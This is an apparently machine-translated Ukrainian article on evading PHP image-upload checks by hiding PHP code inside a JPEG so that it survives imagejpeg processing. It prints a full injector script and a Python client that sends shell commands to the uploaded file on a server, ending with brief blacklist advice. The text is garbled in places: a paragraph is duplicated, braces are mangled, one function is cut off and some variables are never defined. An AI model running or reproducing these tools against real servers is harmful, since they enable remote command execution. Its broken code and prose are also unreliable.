Деякий час назад мені на очі потрапила тема на форумі, присвячена завантаженні файлів засобами PHP. У тому топіку люди обговорювали заходи, які необхідно вжити, щоб убезпечити сервер від шкідливих файлів.
Деякий час назад мені на очі потрапила тема на форумі, присвячена завантаженні файлів засобами PHP. У тому топіку люди обговорювали заходи, які необхідно вжити, щоб убезпечити сервер від шкідливих файлів. Зокрема, пропонувалося дозволити завантаження тільки певних типів файлів, обробляти вже завантажені файли і т. Д.
В процесі тієї дискусії були придумані такі заходи безпеки: заборонити завантаження файлів, що відносяться до php-скриптів, а потім за допомогою ImageJpeg (функція обробки зображень засобами PHP) провести верифікацію завантажених зображень. Мені, як розробнику, цей комплекс заходів цілком подобається. Якщо файл не відповідає графічному формату, функція ImageJpeg поверне false, і завантаження скасується. З іншого боку, навіть якщо зловмисникові вдасться впровадити код в зображення, картинка перед збереженням на диск також буде оброблена і змінена функцією ImageJpeg.
Використання тільки методу «чорних списків» - не дуже хороша затія, оскільки виконувані файли можуть мати альтернативне розширення. В наведеному вище прикладі, якщо ми намагаємося заборонити завантаження файлів тільки з розширенням php, слід враховувати, що в мові PHP у виконуваного скрипта може бути одне з п'яти наступних розширень: php3. php4. php5. phtml і .phps.
Після довгих експериментів мені вдалося отримати оброблене зображення з працездатним кодом всередині.
У процесі поліпшення методу Інжект коду, переконавшись, що зображення спотворюється не сильно, я написав скрипт, який автоматично додає код в картинку. Після відпрацювання скрипта і обробки зарядженого зображення різними інструментами (в тому числі функцією ImageJpeg) код залишався працездатний. Проводилось навіть тестування на зміну розміру картинки, і в багатьох випадках код також працював (але не завжди).
Нижче показано зображення до Інжект коду:
Наступне зображення (ступінь спотворення залежить від конкретної картинки) вже з інжектовані кодом. Не турбуйтеся, в поточному стані код не виконається.
Нижче представлений скрипт автоматизує процес додавання коду:
ini_set ( 'display_errors', 0);
error_reporting (0);
// File that contains the finished result to be uploaded
$ Result_file = 'pic.jpg.phtml';
// Original input file
$ Orig = 'test.jpg';
// Temp filename
$ Filename = $ orig. '_mod.jpg';
// Code to be hidden in the image data
$ Code = '';
echo "- = Imagejpeg injector 1.6 = - \ n";
$ Src = imagecreatefromjpeg ($ orig);
imagejpeg ($ src, $ filename, 100);
$ Data = file_get_contents ($ filename);
$ TmpData = array ();
echo "[+] Jumping to end byte \ n";
$ Start_byte = findStart ($ data);
echo "[+] Searching for valid injection point \ n";
for ($ i = strlen ($ data) -1; $ i> $ start_byte; - $ i)
<
$ TmpData = $ data;
for ($ n = $ i, $ z = (strlen ($ code) -1); $ z> = 0; - $ z, - $ n)
<
$ TmpData [$ n] = $ code [$ z];
>
$ Src = imagecreatefromstring ($ tmpData);
imagejpeg ($ src, $ result_file, 100);
if (checkCodeInFile ($ result_file, $ code))
<
unlink ($ filename);
unlink ($ result_file);
sleep (1);
file_put_contents ($ result_file, $ tmpData);
echo "[!] Temp solution, if you get a 'recoverable' error here, it means it probably failed \ n";
sleep (1);
$ Src = imagecreatefromjpeg ($ result_file);
echo "[+] Injection completed successfully \ n";
echo "[+] Filename:". $ Result_file. "\ N";
die ();
>
else
<
unlink ($ result_file);
>
>
echo "[-] Unable to find valid injection point. Try a shorter command or another image \ n";
function checkCodeInFile ($ file, $ code)
<
if (file_exists ($ file))
<
$ Contents = loadFile ($ file);
>
else
<
$ Contents = "0";
>
return strstr ($ contents, $ code);
>
function loadFile ($ file)
<
$ Handle = fopen ($ file, "r");
$ Buffer = fread ($ handle, filesize ($ file));
fclose ($ handle);
Підводимо підсумки. Після кількох днів експериментів мені вдалося обійти захист скрипта і автоматизувати процес (етапи роботи скрипта показані нижче):
[+] Jumping to end byte
[+] Searching for valid injection point
[+] Injection completed successfully
[+] Filename: result.phtml
І в завершенні я написав простенький скрипт для пересилки команд файлу після завантаження на сервер, парсинга інформації всередині зображення і відображення результатів.
import urllib.request
import argparse
import http.client
import urllib.parse
import re
def main ():
parser = argparse.ArgumentParser ()
parser.add_argument ( "domain", help = "domain to connect to")
parser.add_argument ( "port", help = "port to connect to")
parser.add_argument ( "path", help = "path to the jellyshelly file")
args = parser.parse_args ()
domain = args.domain
path = args.path
port = args.port
if (makeTest (domain, path, port)):
cmd = ""
print ( "Type exit to end session")
while (cmd! = "exit"):
cmd = input ( "")
if (cmd.strip ()! = ''):
makeRequest ( "echo" foiwe303t43jd $ ( "+ cmd +") foiwe303t43jd "", domain, port, path)
def makeRequest (cmd, domain, port, path):
lines = cmd.split ( '\ n')
httpServ = http.client.HTTPConnection (domain, port)
httpServ.connect ()
httpServ.request ( 'POST', path, params, headers)
response = httpServ.getresponse ()
response_string = response.read (). decode ( "utf-8", "replace")
if response.status == http.client.OK:
for result in re.findall (r '(?<=foiwe303t43jd).*?(?=foiwe303t43jd)', response_string, re.DOTALL):
print (result.strip ())
httpServ.close ()
def makeTest (domain, path, port):
httpServ = http.client.HTTPConnection (domain, port)
httpServ.connect ()
httpServ.request ( 'GET', path)
response = httpServ.getresponse ()
print (response.status)
return response.status == http.client.OK
if __name__ == "__main__":
main ()
Як ви могли переконатися, завантажувач файлів легко стає слабкою ланкою в системі безпеки. Існує безліч способів завантажити файл крізь всі обмеження. Особливо мотивований зловмисник може витратити багато часу і часто буде знаходити спосіб обходу захисних механізмів. Трюк, показаний в статті, можна застосувати не тільки до PHP, але і іншим середах. Звичайно, існує кілька хороших методів, в залежності від конкретного завдання, але ці способи не є 100% -ної захистом. Крім того, розробник в процесі реалізації захисних механізмів може допустити елементарну помилку (класичний випадок: перевірка на розширення .jpg пропускає файли типу file.jpg.php).
Всім, хто для блокування файлів користується чорними списками, слід додати наступні розширення. php, .phtml, .php4, .php4, .php5. І не забувайте, що коли-небудь з'явиться PHP 6.